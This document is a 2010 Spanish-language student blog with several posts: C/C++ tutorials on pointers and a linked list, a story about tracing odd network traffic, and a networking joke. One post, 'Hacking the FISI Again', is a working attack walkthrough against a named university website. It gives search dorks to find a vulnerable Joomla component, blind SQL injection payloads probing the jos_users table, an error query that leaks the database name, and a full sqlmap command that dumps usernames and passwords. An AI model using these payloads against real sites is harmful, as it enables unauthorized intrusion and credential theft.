La intención del código anterior era que mediante “*p” referirnos a la estructura apuntada y mediante “.x” acceder a su campo x para asignarle 0. Pero ¿por qué produce error? El error se debe a la precedencia de operadores es decir a la jerarquía con que el compilador interpreta los operadores “.” y “*”. El operador “.” tiene mayor jerarquía y se interpreta primero y luego el “*” por lo tanto lo que entiende el compilador es que p es una estructura (no un puntero a estructura) y que mediante “p.x” queremos acceder a su campo x además su campo x debe ser un puntero y mediante “*” queremos referir a la variable apuntada por x. Como eso no es cierto produce error. Entonces para solucionar este problema tenemos que darle mayor precedencia al operador “*” para ello usaremos el operador de jerarquía “()”.

Punto unPunto, *p=&unPunto;
(*p).x = 0; //asigna 0 al campo x de la estructura unPunto
(*p).y = 1; //asigna 1 al campo y de la estructura unPunto

Ahora ya no produce error pues “(*p)” hace que el compilador interprete primero “*p” y luego “.x” y logra acceder correctamente al campo x. Sin embargo existe una sintaxis mas sencilla para lograr el mismo efecto y es mediante el operador “->” (flecha). Nota: al operador “.” también se le llama selector directo y al operador “->” también se le llama selector indirecto. Y ambos sirven para acceder a los miembros de una estructura.

Punto unPunto, *p=&unPunto;
p-­>x = 0; //asigna 0 al campo x de la estructura unPunto
p-­>y = 1; //asigna 1 al campo y de la estructura unPunto
cout<<p­>x; //muestra 0
cout<<p­>y; //muestra 1

Lo correcto es usar el operador flecha para acceder a los campos de una estructura desde un puntero pues fue creado para ese propósito. Sin embargo no esta mal aprender una forma alternativa.

2.2 Punteros a punteros.

Un puntero a puntero es un puntero que guarda la dirección de memoria de otro puntero. Ejemplo:

int var=10, *p=&var;
int **pp; //declara un puntero a puntero
pp = &p; //asigna a pp la dirección de p

Para acceder al puntero referido o a la variable referida usamos “*” o “**”. Ejemplo:

int var1=10, var2=20, *p=&var1, **pp=&p;
cout<<*pp; //muestra el valor de p (dirección de var1)
cout<<**pp; //muestra el valor de var1
*pp = &var2 //asigna a p la dirección de var2
**pp = 30; //asigna 30 a var2

Podemos declarar punteros a punteros a varios niveles. Ejemplo:

int var=10, *p1=&var, **p2=&p1, ***p3=&p2, ****p4=&p3;
cout<<*p1; //muestra el valor de var (10)
cout<<**p2; //muestra el valor de var (10)
cout<<***p3; //muestra el valor de var (10)
cout<<****p4; //muestra el valor de var (10)
if(****p4 == var){cout<<”son iguales”<<endl;}
if(***p4 == p1){cout<<”son iguales”<<endl;}
if(**p4 == p2){cout<<”son iguales”<<endl;}
if(*p4 == p3){cout<<”son iguales”<<endl;}

3. Gestión dinámica de memoria.

Cuando se declara una variable el compilador reserva espacio para esa variable automáticamente y lo libera cuando considera conveniente. A este tipo de gestión de memoria se le conoce como gestión automática. La gestión dinámica de memoria nos permite reservar y liberar memoria cuando nosotros consideremos que es necesario, nos hace responsables por los espacios de memoria que reservamos. Para reservar memoria dinámica usamos la palabra reservada new que devuelve la dirección de memoria del espacio reservado. Usamos un puntero para almacenar esa dirección. Ejemplo:

int *p = new int; //asigna a p la dirección de memoria de
   //un espacio reservado para un int

Para manejar el espacio de memoria reservado lo hacemos a través del puntero como ya se explicó anteriormente. Veamos:

int *p = new int;
*p = 10; //asigna 10 al espacio reservado

Para liberar memoria dinámica usamos la palabra reservada delete seguida de la dirección del espacio a liberar. Esa dirección es representada por un puntero. Ejemplo:

int *p = new int;
delete p; //libera el espacio reservado referido por p

4. Funciones

Una función es un conjunto de lineas de código que se encarga de realizar una tarea especifica. Las funciones pueden recibir un conjunto de parámetros y devolver un resultado. A las funciones que no devuelven ningún resultado se les dice procedimientos. Ejemplo de función:

int main(){
 int a=1, b=2, c;
 c = suma(a, b);  //c recibe el valor devuelto por suma()
 return 0;
}

//Función que recibe dos enteros y devuelve su suma.
int suma(int sum1, int sum2) {
 return sum1 + sum2;
}

Las funciones pueden recibir parámetros por valor o por referencia. Decimos que se esta pasando un parámetro por valor cuando la función recibe una copia del valor de la variable que se pone como argumento en la llamada a la función. El ejemplo anterior es también un ejemplo de paso de parámetros por valor. Se dice que se esta pasando un parámetro por referencia cuando la función recibe la dirección de memoria de la variable que se pone como argumento en la llamada a la función. Esta ultima forma de pasar parámetros nos permite modificar el valor de las variables que no están en el ámbito de la función, el anterior no. Ejemplo de paso por parámetros por referencia:

int main(){
 int a=1, b=2, c=0;
 suma(a, b, &c);  //se pasa la dirección de c
 return 0;
}

//Procedimiento que recibe dos valores enteros y la dirección de 
//una variable entera. Modifica el valor de la variable
//asignandole la suma de los enteros.
void suma(int sum1, int sum2, int *rpta) {
 *rpta = sum1 + sum2;
}

Ahora ricemos el rizo, ¿cómo pasamos un puntero por referencia? Para ello nuestra función debe recibir la dirección del puntero ello se hará mediante un puntero a puntero. Veamos:

int main(){
 int *p;
 iniciar(&p); //pasamos la dirección del puntero
 return 0;
}

//Procedimiento que asigna un espacio de memoria a un puntero.
//Se recibe la dirección del puntero en un puntero a puntero y
//se modifica el puntero para que apunte al nuevo espacio de
//memoria reservado.
void iniciar(int **pp) {
 *pp = new int;
}

Nos va a interesar pasar punteros por referencia cuando queramos modificar la dirección a la que apuntan fuera del ámbito donde se declaro el puntero.

Para terminar con el tema de funciones veamos funciones que devuelven una dirección de memoria, es decir que devuelven un puntero. Para declarar una función que retorna un puntero se debe anteponer el operador * al nombre de la función. Veamos:

int main(){
 int *p;
 p = iniciar(); //p recibe el espacio reservado
 return 0;
}

//Función que reserva un espacio de memoria para entero y
//devuelve su dirección 
int *iniciar() {
 int *p = new int;
 return p;
}

sábado, 11 de diciembre de 2010

Lista enlazada simple en C/C++

Ahora, por los exámenes finales, no tengo tanto tiempo para escribir como quisiera :( Ya habrá más tiempo en un par de semanas :)

Sin embargo quiero compartir con ustedes un programa que hice, hace ya bastante tiempo, a modo de ejemplo para unos amigos. Se trata de una implementación de una lista enlazada simple en C/C++ y sus operaciones básicas tales como recorrer, insertar, eliminar y buscar. El código está comentado para mejor comprensión ;)

#include <iostream>

using namespace std;

struct nodo {
 int data;
 nodo *sgte;
};

void recorrer(nodo *cab);
void insertarFinal(nodo **cab, int data);
void insertarInicio(nodo **pcab, int data);
void insertarEnN(nodo **pcab, int data, int n);
int contarNodos(nodo *cab);
void eliminar(nodo **pcab, nodo *n);
nodo *buscar(nodo *cab, int data);

int main() {
 nodo *lista = NULL;
 int op = 0;
 int aux, aux2;
 do{
  do{   
   cout<<"..::LISTA ENLAZADA SIMPLE::.."<<endl;
   cout<<"[1] recorrer."<<endl;
   cout<<"[2] insertarFinal"<<endl;
   cout<<"[3] insertarInicio"<<endl;
   cout<<"[4] insertarEnN"<<endl;
   cout<<"[5] eliminar"<<endl;
   cout<<"[6] buscar"<<endl;
   cout<<"[7] salir"<<endl;
   cout<<endl;
   cout<<"OPCION: ";
   cin>>op;
  }while(op<1 || op>7);
  switch(op){
   case 1:
    recorrer(lista);
    break;
   case 2:
    cout<<"Ingrese un valor: ";
    cin>>aux;
    insertarFinal(&lista, aux);
    break;
   case 3:
    cout<<"Ingrese un valor: ";
    cin>>aux;
    insertarInicio(&lista, aux);
    break;
   case 4:
    cout<<"Ingrese un valor: ";
    cin>>aux;
    cout<<"Ingrese la pocicion: ";
    cin>>aux2;
    insertarEnN(&lista, aux, aux2);
    break;
   case 5:
    cout<<"Ingrese un valor: ";
    cin>>aux;
    eliminar(&lista, buscar(lista, aux));
    break;
   case 6:
    cout<<"Ingrese un valor: ";
    cin>>aux;
    cout<<"El nodo esta en la direccion: "<<buscar(lista, aux)<<endl;
    break;                
  }
 }while(op!=7);
 return 0;
}

//Función para recorrer una lista y mostrar la data.
void recorrer(nodo *cab){ 
 //verifica si la lista esta vacía
 if(cab == NULL){
  //si esta vacía muestra este mensaje
  cout<<"La lista esta vacia."<<endl;
 } 
 else{ 
  //si no esta vacía declara un puntero p al primer elemento de la lista 
  nodo *p = cab;
  do{ 
   //muestra la data del nodo referido por p
   cout<<"Elemento: "<<p->data<<endl;
   //asigna a p la dirección de nodo siguiente o NULL si no lo hay
   p = p->sgte;
  //repite el proceso mientras p sea diferente de NULL
  }while(p != NULL);
  cout<<"Fin del recorrido."<<endl; 
 } 
}



//Función que inserta un nodo nuevo al final de la lista
void insertarFinal(nodo **pcab, int data){

 //crea un nuevo nodo dinámicamente e inicia sus campos
 nodo *nuevo = new nodo;

 nuevo->data = data;

 nuevo->sgte = NULL;

 
 //valida si la lista esta vacia (pcab apunta a la cabecera osea pcab==&cab)
 if(*pcab == NULL){
  //modifica la cabecera para que apunte al nuevo nodo

  *pcab = nuevo;

 }

 else{

  //declara un puntero p que apunta al primer nodo (p==cab)
  nodo *p = *pcab;

  //avanza p hasta que llega al ultimo nodo (el que tiene NULL en sgte)
  while(p->sgte != NULL){

   p = p->sgte;

  }

  //asigna la dirección del nuevo nodo al campo sgte del ultimo nodo
  p->sgte = nuevo;

 }

}

//Funcion que inserta un nodo nuevo al inicio de la lista
void insertarInicio(nodo **pcab, int data){

 //crea un nodo nuevo
 nodo *nuevo = new nodo;

 //inicia el campo data del nuevo nodo con la data recibida por parámetro
 nuevo->data = data;

 //asigna al campo sgte del nuevo nodo el valor de la cabecera (*pcab==cab)
 //si la lista esta vacia (cab==NULL) sgte sera NULL
 //si la lista no esta vacia sgte apuntara al primer elemento
 nuevo->sgte = *pcab;

 //modifica la cabecera para que apunte al nuevo nodo
 //el nuevo nodo sera ahora el primero
 *pcab = nuevo;

}

//Función que inserta un nodo nuevo en la posición enésima
void insertarEnN(nodo **pcab, int data, int n){

 //contamos el numero de nodos de la lista
 int nNodos = contarNodos(*pcab);

 //validamos que el índice n este en un rango valido
 if(n > nNodos || n < 0){

  //si no esta, mostramos un mensaje de error
  cout<<"Posicion no valida. Hay "<<nNodos<<" nodos en la lista"<<endl;

 }

 //si n es 0 (primera posición) llamamos a insertarInicio() 
 else if(n == 0){

  insertarInicio(pcab, data);

 }

 //si n es igual al numero de nodos (ultima posición) llamamos a insertarFinal()
 else if(n == nNodos){

  insertarFinal(pcab, data);

 }
 //en este caso n debe estar en la zona intermedia de la lista

 else{

  //declaramos un puntero p al primer elemento de la lista
  nodo *p = *pcab;
  //avanzamos p hasta la posición n-1
  for(int i=0; i<n-1; i++)

   p = p->sgte;

  //creamos el nuevo nodo e iniciamos su data
  nodo *nuevo = new nodo;

  nuevo->data = data;

  //el campo sgte del nuevo elemento apuntara al nodo siguiente de p
  nuevo->sgte = p->sgte;

  //el campo sgte de p apuntara al nuevo nodo
  p->sgte = nuevo;

 }

}

int contarNodos(nodo *cab){
 int cont = 0;
 while(cab!=NULL){
  cab = cab->sgte;
  cont++;
 }
 return cont;
}

//Función que elimina un nodo usando como criterio de busqueda la direccion del nodo
void eliminar(nodo **pcab, nodo *n){
 //valida si la lista esta vacia
 if(*pcab == NULL){
  cout<<"La lista esta vacia."<<endl;
 }
 else{
  //valida si el nodo a eliminar existe
  if(n != NULL){
   //valida si el nodo a eliminar es el primero
   if(n == *pcab){
    //hace que la cabecera apunte al segundo elemento
    *pcab = (*pcab)->sgte;
   }
   else{
    //declara un puntero p al primer elemento de la lista
    nodo *p = *pcab;
    //hace que p apunte al nodo anterior al que se va a eliminar
    while(p->sgte!=NULL && p->sgte!=n){
     p = p->sgte;
    }
    //enlaza al nodo anterior con el siguiente
    p->sgte = n->sgte;
   }
   //libera el espacio de memoria del nodo eliminado
   delete n;
   cout<<"El elemento se ha eliminado correctamente."<<endl;
  }
  else{
   cout<<"No se encontro el elemento."<<endl;
  }
 }
}

//Función que busca un nodo y devuelve una referencia al nodo. Si no lo encuentra devuelve NULL.
nodo *buscar(nodo *cab, int data){
 //valida si la lista esta vacia
 if(cab == NULL){
  cout<<"La lista esta vacia."<<endl;
 }
 else{
  //declara un puntero p al primer elemento de la lista
  nodo *p = cab;
  do{
   //valida si la data del nodo es la data buscada
   if(p->data == data){
    //devuelve la referencia al nodo y termina la función
    return p;
   }
   else{
    //p apunta al siguiente nodo
    p = p->sgte;
   }
  //se repite mientras no se llegue al final de la lista
  }while(p!=NULL);
 }
 //si termina la lista y no encontro el nodo buscado retorna NULL
 return NULL;
}

Saludos.

Actualización:

Pueden ver una explicación mas detallada de cada operación en:

http://alguienenlafisi.blogspot.com/2010/12/listas-enlazadas-simples.html

jueves, 9 de diciembre de 2010

¡Vaya susto que me di!

Hoy estaba muy tranquilo viendo una película que tenia descargada cuando de pronto se me colgó el reproductor ¡Vaya tontería esta! Así que me fui al monitor del sistema para matarme el proceso del reproductor de vídeo. Estaba en eso cuando me percaté que en el histórico de red el tráfico saliente mostraba algunos picos. Así que me quede un rato observando y efectivamente mi maquina estaba enviando datos por la red.

Me pareció sospechoso por lo que abrí el wireshark para averiguar qué estaba enviando mi equipo y a donde lo estaba haciendo. El qué, no lo puede determinar porque todo iba cifrado con TLSv1 pero sí saqué la IP de destino, era 174.129.193.12. Luego de un whois a la IP me enteré que pertenecía a Amazon exactamente al servicio EC-2 de Cloud Computing que ellos brindan.

$whois 174.129.193.12
...
OrgName:        Amazon.com, Inc.
OrgId:          AMAZO-4
Address:        Amazon Web Services, Elastic Compute Cloud, EC2
Address:        1200 12th Avenue South
City:           Seattle
StateProv:      WA
PostalCode:     98144
Country:        US
RegDate:        2005-09-29
Updated:        2009-06-02
...

¿Que hace mi maquina enviándole datos a Amazon? :| Imagine mi peor pesadilla ¿Me habré infectado con algo? ¿Seré ahora un zombie que procesa información para otros? Lo cierto es que Amazon presta sus servidores a cualquiera que pueda pagar por los recursos que consume así que la posibilidad existía. Sea lo que sea que estuviera pasando no me gustaba y me decidí a acabar con ese flujo de datos de inmediato!!

Ideas... me tranquilicé un poco. Quizá ese flujo se debe a que tor esta redirigiendo trafico para otras maquinas... Pensé. Así que me bajé el proceso de tor.

#/etc/init.d/tor stop

Pero no sirvió, el flujo aun seguía. Entonces me bajé algunos otros procesos: polipo, apache, proftpd, bind9 y hasta el mysql xD

#/etc/init.d/polipo stop
#/etc/init.d/bind9 stop
#/opt/lampp/lampp stop

Pero nada de eso detuvo el flujo de datos... Se me ocurrió que podría, al menos provisionalmente, añadir unas reglas al iptables para bloquear el flujo entrante y saliente de la red de Amazon (174.129.0.0/16) Use una herramienta gráfica que tiene Ubuntu en sus repos pero vaya que cuando uno lo necesita nada funciona!! El flujo continuaba...

Entonces vi la luz... Del wireshark obtuve el puerto local que se estaba usando en la comunicación, era el 33964. Luego con netstat averigüé el PID del proceso que estaba usando ese puerto.

#netstat -pan | grep 33964
unix  3      [ ]         FLUJO      CONECTADO     33964    1258/python

¿Un script en python? Maté el proceso con kill.

#kill 1258

En seguida pude ver como en el wireshark los paquetitos cambiaban de color, luego el flujo de datos se detuvo. ¡Eureka, lo he conseguido! xD

Por el momento me sentí más aliviado sin embargo aun faltaban algunas preguntas por responder ¿Donde esta el pinche script python que lanza el proceso? ¿Como €@#@&0$ se metió en mi sistema? ¿Quien es el verdadero responsable? ¿Le estará sucediendo lo mismo a otros?

Me sentí falto de ayuda así que recurrí al foro de DragonJar en busca de consejo.

http://comunidad.dragonjar.org/f155/amazon-botnet-10968/

El titulo quizá es algo exagerado xD Pero debía ser llamativo, necesitaba respuestas.

Fue así como, gracias a un comentario de "chakan", me enteré que el extrañísimo flujo de datos se debía a que Ubuntu tiene un servicio de cloud computing contratado con Amazon ¬¬ Vaya, eso era todo... xP

Ahora ya puedo estar más tranquilo y mi disco duro también xD Después de todo mi peor pesadilla aun no se ha hecho realidad Uff...

Hasta pronto, saludos.

lunes, 6 de diciembre de 2010

Hacking the FISI Again

Hola a todos y todas ;) Aunque no se si alguna chica lea este blog :S Lo dudo mucho la verdad ¿Chicas están ahí?

El mes pasado publicamos una vulnerabilidad 0day en la web de la facultad y con vídeo demostrativo incluido xD Ver:

http://alguienenlafisi.blogspot.com/2010/11/hackeando-la-web-de-la-fisi.html
http://alguienenlafisi.blogspot.com/2010/11/hackeando-la-web-de-la-fisi-video.html

Entonces también habíamos descubierto y reportado una segunda vulnerabilidad igual de grave pero un tanto más difícil de explotar. Se trataba de un Blind SQL Injection.

La diferencia entre un SQLi normal y un Blind SQLi (inyección SQL a ciegas) es que este último no muestra el resultado de la consulta en la pagina web. Sin embargo podemos intuir que las ordenes SQL se están ejecutando debido al comportamiento de la web ¿Como es ese comportamiento? Pues imagina que una pagina web antes de mostrarse hace una verificación de algo consultando su base de datos. Si la respuesta que obtiene no es nula entonces se muestra pero si sucede lo contrario mostrará una pagina de error. Si nosotros pudiéramos manipular la consulta que hace la aplicacion web, podríamos cambiar la condicional que hace que la respuesta sea nula o no. De esa manera si hacemos que la condicional bote verdadero, la respuesta no sera nula y se mostrará la pagina normal pero si hacemos que bote falso, la respuesta sera nula y se mostrará la pagina de error.

De esta forma la pagina web se comporta como un oráculo que responderá sí (pagina normal) o no (pagina de error) a lo que preguntemos manipulando la condicional. Así por ejemplo podemos preguntar si una tabla tiene más de 10 registros, suponiendo que dijera que sí preguntamos si tiene más de 20, si ahora dice que no preguntamos si tiene más de 15 y así sucesivamente aplicamos la estrategia divide y vencerás hasta deducir el numero de registros de la tabla. También podemos preguntar otras cosas como cuantos caracteres tiene el valor de un campo o si ese valor empieza con 'a' o con 'b' hasta obtener el valor de ese campo.

El numero de consultas que hacemos para explotar un Blind SQLi es elevado y el tiempo que nos puede tomar también. Felizmente existen herramientas como sqlmap que automatizan este proceso y hacen las consultas por nosotros permitiéndonos incluso hacer un volcado de toda la base de datos xD Claro que esto también toma algo de tiempo :P

Ahora sí con las ideas un poco más claras pasemos a la acción }xD

Hacking the FISI Again

Nuevamente la vulnerabilidad se debe a un componente Joomla del cual nos enteramos gracias nuestro amigo GoogleBot. Buscamos:

site:sistemas.edu.pe inurl:/component/

Pero van a salir muchos resultados así que para que lo veas mas rápido la búsqueda específica es:

site:sistemas.edu.pe inurl:/component/validar


He resaltado la URL del componente. La URL es:

http://sistemas.edu.pe/component/validar/

Al hacer clic en el resultado veremos este formulario:


Bien, le haremos el test de la comilla. En el campo código (todas la inyecciones las haré usando este campo) escribimos una comilla simple ('), le damos clic al botón siguiente y ¡voilá!

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'falso'' at line 1

Error de sintaxis SQL. Esto es vulnerable a SQLi }:] Ahora a jugar un poco. Hacemos el test de la tautología para ver si podemos listar todos los registros de la tabla.

' or 1=1#

Le damos a siguiente y... no, pues no se lista ningún registro :S Por el contrario sale un formulario para que nos registremos. Vamos entendiendo lo que hace este formulario es validar si somos alumnos de la FISI preguntándonos nuestros nombres, apellidos y código. Luego buscará nuestra información en su base de datos de alumnos y si hay coincidencia entonces nos muestra el formulario de registro y si no la hay ¿Que nos mostrará? Averigüemoslo cambiando la condición a falso:

' or 1=0#

Otra vez en siguiente y... pues nada, se queda en la misma pagina :S

¡Ya está, esto es un Blind SQLi! Cuando la condición es verdadera nos muestra la pagina de registro y cuando es falsa se queda en la misma pagina. Como demostración averiguaremos el numero de registros que hay en la tabla jos_users donde se almacenan los usuarios y contraseñas de Joomla.

Haciendo las consultas que pongo a continuación se llega a la conclusión de que hay 2 registros en la tabla jos_users.

' or (select count(*) from jos_users)>10# ---> FALSO, MISMA PAGINA
' or (select count(*) from jos_users)>5# ---> FALSO, MISMA PAGINA
' or (select count(*) from jos_users)>2# ---> FALSO, MISMA PAGINA
' or (select count(*) from jos_users)>1# ---> VERDADERO, PAGINA DE REGISTRO

Ahora que ya quedo demostrado usaremos sqlmap para sacarle provecho a esta vuln y obtener los usuarios y contraseñas de la web. Sqlmap es una herramienta para consola escrita en python por lo que es multiplataforma es decir funciona sobre cualquier sistema operativo que tenga el interprete de python instalado.

Puedes descargar sqlmap de su web oficial:

http://sqlmap.sourceforge.net/

Ahora solo queda llamar a sqlmap pasándole los parámetros adecuados y esperar a que nos tire todos los datos que queremos.

Explicare los parámetros que usaremos:

--url="[URL]" Sirve para indicar la URL del recurso vulnerable.
--method="[GET/POST]" Sirve para indicar el método (GET o POST) con el que se envían los datos.
--data="[DATA]" En caso de usar el método POST este parámetro es obligatorio e indica los datos que se envian por POST.
-p "[VARIABLE]" Sirve para indicar la variable vulnerable con la que se realiza la inyección.
--prefix="[TEXT]" Se usa cuando es necesario añadir algo antes de la inyección usual de sqlmap para que funcione.
--postfix="[TEXT]" Se usa cuando es necesario añadir algo después de la inyección usual de sqlmap para que funcione.
--string="[STRING]" Se usa para especificar una cadena de texto que sqlmap utilizará para distinguir la pagina normal de la pagina de error. Esta cadena debe aparecer en la pagina normal, es decir la que se muestra cuando la condición es verdadera. Y no debe aparecer en la pagina de error, cuando la condición es falsa.
-D "[DATABASE]" Para especificar el nombre de la base de datos.
-T "[TABLE]" Para especificar el nombre de la tabla.
-C "[COLUMNS]" Para especificar el nombre de las columnas. Los nombres van separados por comas.
--dump Su presencia indica que sqlmap debe obtener los registros de la base de datos, tabla y columnas especificadas.

Una ultima aclaración, sqlmap usa AND para formar la condición de las inyecciones. Más o menos de esta manera:

AND 1=1 ---> VERDADERO
AND 1=2 ---> FALSO

Por lo que si queremos que nos funcione para la vuln de la FISI debemos usar los parámetros prefix y postfix para darle el siguiente formato:

' OR (1=1 AND 1=1)# ---> VERDADERO
' OR (1=1 AND 1=2)# ---> FALSO

Además sqlmap espera que cuando la condición bota verdadero se debe quedar en la misma pagina y cuando bota falso se debe mostrar el formulario de registro. Pero en nuestro caso sucede al revés. Para corregir esto añadiremos una negación:

' OR NOT (1=1 AND 1=1)# ---> FALSO
' OR NOT (1=1 AND 1=2)# ---> VERDADERO

La llamada completa a sqlmap para listar los usuarios y contraseñas quedaría así:

$./sqlmap.py --url="http://sistemas.edu.pe/component/validar" --method="POST" --data="nombre=&apellido=&codigo=" -p "codigo" --prefix="' OR NOT (1=1" --postfix=")#" --string="Ingresar sus Nombres y Apellidos completos" -D "webin_sistemas" -T "jos_users" -C "username,password" --dump

Si eres observador habras notado que la base de datos se llama "webin_sistemas" ¿Cómo sé yo que se llama así? Para averiguarlo simplemente generé un error que muestra el nombre de la base de datos ;) así:

' union select 1,2,3 from tbl_inexistente#

Donde "tbl_inexistente" es el nombre de una tabla que no existe. En el error que bota esta consulta se puede ver el nombre de la base de datos:

Table 'webin_sistemas.tbl_inexistente' doesn't exist

Eso es todo, les dejo una imagen del sqlmap trabajando xD


Ya luego subiré un vídeo, cuando lo tenga listo.

Saludos.

Actualización:

Ya pueden ver el vídeo demostrativo en:

http://alguienenlafisi.blogspot.com/2010/12/hacking-fisi-again-video.html

jueves, 2 de diciembre de 2010

Una singular clase de redes

Hace unos días fui a la biblioteca a leer algo sobre redes. Aun no estoy llevando el curso pero el tema me interesa así que fui por puro gusto. Mientras leía iba imaginando los ejemplos que ponía el autor para comprender mejor. Es así que recree en mi cabeza una situación bastante divertida.


Estaba el profesor de redes tratando de explicar a sus alumnos la importancia de la subcapa de control de acceso al medio.

- La subcapa de control de acceso al medio se encuentra entre la capa física y la capa de enlace de datos en el modelo de referencia OSI. Es necesaria en redes de difusión donde muchos nodos compiten por un único canal para transmitir sus datos. La responsabilidad de esta capa es brindar los protocolos necesarios para determinar quien puede transmitir información en un determinado momento. MAC, Media Access Control, es un protocolo de esta capa...

El profesor hizo una pausa para observar a su audiencia. Por la expresión facial de sus alumnos comprendió que pocos le estaban entendiendo. Así que decidió poner un ejemplo.

- Nuestro modelo de comunicación, aquí en el aula, es un modelo de difusión ya que todos usamos el aire para transmitir nuestra voz. Si todos habláramos al mismo tiempo no podríamos entendernos. Por lo tanto es necesario determinar quien habla primero y quien habla después. Para esto existe un protocolo, un mutuo acuerdo entre nosotros ¿Alguien sabe a que me refiero? Levante la mano para responder.

Un silencio de pocos segundos. De pronto un alumno levanto la mano emocionado. El profesor le cedió la palabra.

- ¡Profesor! ¿Levantar la mano?

- Correcto, lo has comprendido.

El rostro de sus alumnos se ilumino y sonrieron de alegría. Todos habían entendido.

- Claro señores, nuestro protocolo, nuestro acuerdo común es: Antes de hablar, levantar la mano. Así sabemos quien habla primero y quien le sigue. - Continuó el profesor - ¿Alguna pregunta hasta aquí?

Esta vez el profesor se alegró del silencio de sus alumnos y dio vuelta hacia la pizarra para continuar la clase.

De pronto una voz familiar le interrumpió.

- ¡Profesor!

El profesor se volvió hacia sus alumnos y observó que el joven que había participado hace poco tenía la mano levantada.

- ¿Sí, alguna duda? - Inquirió el profesor, pero no obtuvo respuesta. El alumno solo bajo la mano y le quedó mirando. - ¿Tenía alguna pregunta, señor? - Insistió el profesor sin éxito. Esperó unos segundos, finalmente imaginó que el alumno tenía problemas para expresarse y decidió no insistir y continuar la clase.

- ¡Profesor! - Interrumpió el alumno nuevamente levantando la mano.

- ¿Desea decirnos algo? - Preguntó el profesor algo fastidiado pero nuevamente el alumno entró en un estado de mutismo absoluto. - Si no va a decirnos nada le agradecería que no interrumpiera la clase - Añadió el profesor y se dispuso a continuar con la clase. Pero ni bien empezó, fue nuevamente interrumpido.

- ¡Profesor! - El mismo alumno con la mano levantada.

El profesor, que ya no podía contener más su fastidio, se volvió inmediatamente hacia el alumno y preguntó disgustado.

- ¡¿Qué es lo que le sucede? ¿Por qué no deja de interrumpir la clase? Si no me da una buena explicación no tendré más remedio que expulsarlo del aula!

El alumno, con cierta cara de satisfacción, miró a su profesor tranquilamente y se dispuso a hablar.

- Lo que sucede, profesor, es que acabo de verificar que su protocolo de comunicación en el aula es vulnerable a una denegación de servicios por agotamiento de recursos mediante inundación de llamadas. - Dijo él.


Bien, espero que les haya echo tanta gracia como a mí xD

Hasta pronto, saludos.